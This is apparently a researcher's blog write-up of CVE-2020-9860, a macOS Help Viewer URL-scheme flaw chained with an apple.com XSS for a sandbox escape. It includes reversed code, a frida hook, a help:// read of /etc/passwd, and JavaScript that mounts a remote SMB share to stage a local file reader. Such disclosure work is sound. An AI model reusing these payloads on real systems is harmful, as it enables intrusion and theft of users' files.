X Site eScape (Part III): CVE-2020-9860, A Copycat

Parental Advisory: this is a pure sh**post that has explicit language and the content may disappoint you


You must have realized that I’ve skipped the part II of this series. That’s because the patches and advisories are still in progress. I had been keeping that stuff for a while to prepare for some competition. Unfortunately, about a month before the deadline, I sadly found something gone on macOS Catalina Developer Beta, which broke my exploit.

That was quite frustrating. It could’ve been my last chance to own some target as the exploitation is getting harder and harder. I haven’t even finished any full chain yet. Even without that upgrade, I still need an extra renderer takeover to kickstart. The walls are closing in, so go big or go home. I told myself that I couldn’t keep doing this child’s play. You know, my bugs are weird. Maybe I should consider quitting this stupid sh*t and focus on something that makes sense, like getting myself a further education or so.

Alright. Don’t be such a drama queen. Do something.

I came across these two bugs by lokihardt used in Mobile Pwn2Own 2014 and Pwn2Own 2015.

These bugs are just URL schemes (specifically, itms:// used by AppStore) trusted by (Mobile)Safari that leads to arbitrary URL redirection in a special, unsandboxed WebView. Combined with renderer bugs, he successfully to archive code execution outside the sandbox.

This one is even more impressive. With the XSS in HelpViewer, native code execution is archived.

1040 - project-zero - Project Zero - Monorail

As far as I knew, @Rootredrain found this bug independently:

Attack Surface Extended by URL Schemes

A New Bug

Safari usually warns about URL scheme natigation. But certain trusted protocols don’t trigger the prompt at all:

signed __int64 __cdecl -[ExternalURLNavigationHandler _URLTypeForURL:](ExternalURLNavigationHandler *self, SEL a2, id url)
  NSString *scheme = [url scheme];
  if ( [scheme safari_isCaseInsensitiveEqualToString:@"tel"]
    || [scheme safari_isCaseInsensitiveEqualToString:@"facetime"]
    || [scheme safari_isCaseInsensitiveEqualToString:@"facetime-audio"] )
    status = 0LL;
  else if ([scheme safari_isCaseInsensitiveEqualToString:@"mailto"])
    status = 1LL;
    if ( !urlSchemesToOpenWithoutPrompting(void)::whitelistedURLSchemes )
      NSArray *arr = [NSArray arrayWithObjects:
        @"itms-books", @"itms-bookss", @"ibooks", @"macappstore", @"macappstores",
        @"radr", @"radar", @"udoc", @"ts", @"st", @"x-radar", @"icloud-sharing",
        @"help", @"x-apple-helpbasic" count:19];
      urlSchemesToOpenWithoutPrompting(void)::whitelistedURLSchemes = [NSSet setWithArray:arr];

    NSString *lower = scheme.lowercaseString;
    return [urlSchemesToOpenWithoutPrompting(void)::whitelistedURLSchemes containsObject:lower] == 0;
  return status;

Was HelperViewer fully patched in 2019? Nope.

Before we start, we need this tiny frida snippet to enable debug log:

frida Help\ Viewer -l log.js

Interceptor.attach(ObjC.classes.HVLogger['- logMessage:inFile:line:category:type:'].implementation, {
  onEnter(args) {
    console.log(new ObjC.Object(args[2]))

Now disassemble HelpViewer and take look at the method -[HelpApplication processURL:]. When the scheme is x-apple-helpbasic://, a legacy window (without TOC and AppleScript support) shows up.

-[HVBasicURLHandler process:]

if ([url.scheme isEqualToString:@"x-apple-helpbasic"] &&
  [url.host hasSuffix:@".apple.com"] &&
  [HelpApplication sharedApplication].isOnline)

The hostname is limited to match *.apple.com. The handler replaces its scheme to https and redirect to the page. For example, x-apple-helpbasic://www.apple.com/aaa becomes https://www.apple.com/aaa


[Local::Help Viewer]-> determining handler for url: x-apple-helpbasic://google.com /BuildRoot/Library/Caches/com.apple.xbs/Sources/HelpViewer/HelpViewer-378/Source/URL Handling/HVURLHandler.m WARNING: An attempt was made to open Help Viewer with an ‘x-apple-helpbasic’ schemed URL at an untrusted domain. The attempt was disallowed. Untrusted URL: x-apple-helpbasic://google.com /BuildRoot/Library/Caches/com.apple.xbs/Sources/HelpViewer/HelpViewer-378/Source/URL Handling/HVBasicURLHandler.m

This app uses https only so the Wi-Fi portal hijack won’t work. It’s time for XSS to rock.

Rush Hour

Dramatically, when I found this attack surface, there was only one week left to the deadline. So how long does it take to find a cross-site scripting issue on Apple.com without any scanner? No more than 24hrs.

Firstly I looked at this hall of fame page for web security issues reported to Apple: https://support.apple.com/en-is/HT201536

It’s useful to collect subdomains this way for a guy who doesn’t work majorly on web security. So I just walked through few sites and read their javascript, searching for DOM operations and the usages of location. My luck worked. I found a legacy manual page that loads an external language pack. It’s like the remote file inclusion bug of php, but for client side. Since the advisory is not out yet, there won’t be any detail but it doesn’t matter.

This WebView of HelpViewer has no sandbox nor gigacage. One more non-jit bug we’re good to go. The sandbox escape is dumb as the f word:

<script>location.href = 'x-apple-helpbasic:////???.apple.com/...'

Available for: macOS Mojave and macOS High Sierra, and included in macOS Catalina Impact: Processing a maliciously crafted URL may lead to arbitrary javascript code execution Description: A custom URL scheme handling issue was addressed with improved input validation. CVE-2020-9860: CodeColorist of Ant-Financial LightYear Labs Entry added June 25, 2020

Never Gonna Give You Up

Thought Calculator was not executed, I tried to make this bug count. With a runtime patch I can enable Inspector for all WebViews on macOS and iOS, so just had some experiment to see where it goes.

Unlike that help: scheme that lokihardt had exploited, this WebView did not provide full (it’s called basic!) capabilities, so no AppleScript interface to spawn the shell. There was a bridged Objective C object named window.HelpViewer

Its methods are exposed as follows:

NSMapInsert(v4, @selector(systemProfileInfoForDataTypes:useJSON:), @"systemProfile");
NSMapInsert(v4, @selector(mtIncrementCountsOffline:printed:tocUsed:searchUsed:), @"mtStatisticsIncrement");
NSMapInsert(v4, @selector(mtSendContentUsageForTopic:appName:), @"mtContentAccessed") ;
NSMapInsert(v4, @selector(mtSendContentUsageWithJSON:), @"mtContentAccessedJSON");
NSMapInsert(v4, @selector(setBreadcrumbBookTitle:withAnchor:), @"setBreadcrumbBookTitleWithAnchor");
NSMapInsert(v4, @selector(startSearchWithQuery:), @"startSearchWithQuery");
NSMapInsert(v4, @selector(startSearchForAnchor:), @"startSearchForAnchor");
NSMapInsert(v4, @selector(bookWithID:), @"bookWithID");
NSMapInsert(v4, @selector(setCurrentScope:), @"setCurrentScope");
NSMapInsert(v4, @selector(URLStringForBookID:), @"URLStringForBookID");
NSMapInsert(v4, @selector(showTOCButton:onCheck:onUncheck:), @"showTOCButton");
NSMapInsert(v4, @selector(setTOCButton:), @"setTOCButton");
NSMapInsert(v4, @selector(setSidebarButtonEnabled:onExpand:onCollapse:), @"setSidebarButtonEnabled");
NSMapInsert(v4, @selector(setSidebarExpanded:), @"setSidebarExpanded");
NSMapInsert(v4, @selector(resizeTo:height:duration:timingFunction:), @"resizeTo");

Method systemProfile can create a subprocess without sandbox, but I didn’t manage to find a way to invke other binaries.

In the event delegate of this WebView:

-[HVBasicWindowController webView:decidePolicyForNewWindowAction:request:newFrameName:decisionListener:] {
  // ...
  if ([target isEqualToString:@"_blank"]) {
    [[NSWorkspace sharedWorkspace] openURL:v10.URL];
    v17 = "ignore";

This means we can launch arbitrary URL with a simple navigation. But location.href = file:///System/Applications/Calculator.app was not allowed because of Same-Origin policy. Please refer to Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016-4622 section 7.2 and WebKit source for it. Only given memory read and write primitives can I override this SOP setting. But if so, it’s sufficient for code execution anyway.

It did open more attack surfaces. For example, vnc:// URL would silently connect to a remote server without confirmation. Maybe there is possbility to pwn the client with a malformed server? I can’t tell.

(Failed) Local File Disclosure

Though file: navigation is not allowed, HVBasicWindowController actually has three special NSURLProtocol(s) to handle http requests with special protocol schemes:

This is not the universal link we’ve talked about before! It’s about HTTP response overriding.

This handler -[HVHelpURLProtocol startLoading] takes the path from an URL, always treats the path as a local file and yields the content of it. The hostname will be totally ignored.

return [NSData dataWithContentsOfFile:url.URL.path];

For example, help://whatever/etc/passwd results in:

But due to same origin policy (again!), an http: page can not fetch url from help:. To bypass this, I came across an idea to abuse remote disk mounting to construct a new XSS to the help: domain.

Before macOS Catalina, accessing /net/ results in automatic mounting NFS volume from host . This trick has been abused by various exploits and red teaming for years. Since 10.15, the /net entry of /etc/auto_master is commented out. It’s now disabled.

My idea was to use a smb://user:passwd@host/path url to open Finder, then this location will be mounted on /Volumes/path. Samba is just one of the supported protocols, others like afp:// and cifs:// should be working as well.

During my test, if explicitly given username and password, Finder doesn’t ask for confirmation at all. But I seemed to be fooled by my test environment. It actually asks. This resulted in first two failed attempts during my demostration, until I removed this part from my exploit.

If worked, my exploit would redirect to help:/Volumes/Label/stage3 which is able to read files from arbitrary path:

<link rel="stylesheet" type="text/css" href="/static/style.css">
<script type="text/javascript">
setInterval(() => {location = 'help:/Volumes/FileStage/reader.html'}, 2000)
location = 'smb://bob:bob@/FileStage'

Furthermore, to get the active user name, I read the file /Library/Preferences/com.apple.loginwindow.plist and parse its lastUserName key. To (partially) list a directory (e.g. ~/Documents), I can parse .DS_Store to get some of the filenames.


  1. Issue 1040: macOS: HelpViewer XSS leads to arbitrary file execution and arbitrary file read
  2. A medley of modern web browser exploits
  3. How to Register Your Help Book
  4. Apple web server notifications
  5. Parallels for Mac: system_profiler output leak and launching of arbitrary apps from the web